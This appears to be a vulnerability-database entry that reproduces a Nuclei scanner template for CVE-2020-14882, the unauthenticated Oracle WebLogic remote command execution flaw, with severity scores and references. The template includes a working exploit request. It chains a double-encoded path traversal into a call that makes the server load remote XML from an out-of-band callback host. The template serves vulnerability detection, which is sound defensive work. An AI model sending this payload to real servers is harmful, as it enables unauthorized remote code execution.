Oracle Weblogic Server - Remote Command Execution

2020-10-2912:58:49

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.5 High

AI Score

Confidence

High

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

JSON

Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.

id: CVE-2020-14882

info:
  name: Oracle Weblogic Server - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://twitter.com/jas502n/status/1321416053050667009
    - https://youtu.be/JFVDOIL0YtA
    - https://github.com/jas502n/CVE-2020-14882#eg
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14882
    epss-score: 0.9739
    epss-percentile: 0.99906
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
  tags: cve2020,cve,oracle,rce,weblogic,oast,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a0047304502210095d334a35f712502dc1161437a7636b7816e79ffa45dee8b16943efbfa63e27e022060fcc3b18130248421a20581edc7d0a8925ec9748890b716418f0e3975cddb70:922c64590222798bb761d5b6d8e72950